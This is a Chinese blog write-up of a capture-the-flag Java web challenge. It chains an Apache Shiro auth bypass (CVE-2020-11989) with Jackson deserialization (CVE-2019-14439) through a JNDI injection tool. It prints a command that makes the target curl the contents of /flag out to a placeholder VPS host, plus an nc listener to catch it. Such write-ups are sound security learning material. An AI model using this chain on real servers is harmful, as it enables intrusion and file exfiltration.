[红明谷CTF 2021]JavaWeb

31 篇文章 4 订阅
1 篇文章 0 订阅

[红明谷CTF 2021]JavaWeb

一.前言

好像是已经很久不刷题了,因为最近一直在忙着复习高数和专业课,拿不出太多的时间来打CTF。但是这次也总算是找到了点时间,做道java的简单题来放松一下,不能总是学那些书本上的知识了,感觉学多了也会烦。

二.正文

这道题目上来就让我们访问/login目录,所以我们直接访问试试看。
请添加图片描述
服务器那边又让我们访问/json的路径,但是我们如果用post方法对服务器进行访问的话,服务器又会返回另外的结果。
在这里插入图片描述
这里的登陆失败,就表明我们需要进行身份验证,我们尝试输入一对用户名密码。
在这里插入图片描述
还是失败,但是我们在它的Headers里面找到了Cookie
请添加图片描述
我们可以通过这里面的rememberMe=deleteMe,来判断这道题是shiro框架,我们去访问/json
在这里插入图片描述
服务器仍然返回/json,这里就需要用CVE-2020-11989来进行Apache Shiro权限绕过
请添加图片描述
我们发送请求后,服务器端返回给我们了一个报错信息,发现服务器端用到了jackson。可以猜测这里可能会存在反序列化漏洞。
我们用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar这个工具来进行反序列化漏洞利用,并将flag外带。
使用的命令如下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl [VPS_IP:PORT] -File=@/flag' -A "[VPS_IP]"

在这里插入图片描述
然后我们在新建一个命令窗口,起一个nc来接收flag

nc -lnvp 9999

最后我们用CVE-2019-14439的链子打进去,用上面的springboot的payload
在这里插入图片描述

最后结果
请添加图片描述

后记

很简单的一道题,但是对于我这种刚开始java安全的人来说,还是有很多细节要去学习。

参考文章:
http://b1ue.cn/archives/189.html

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值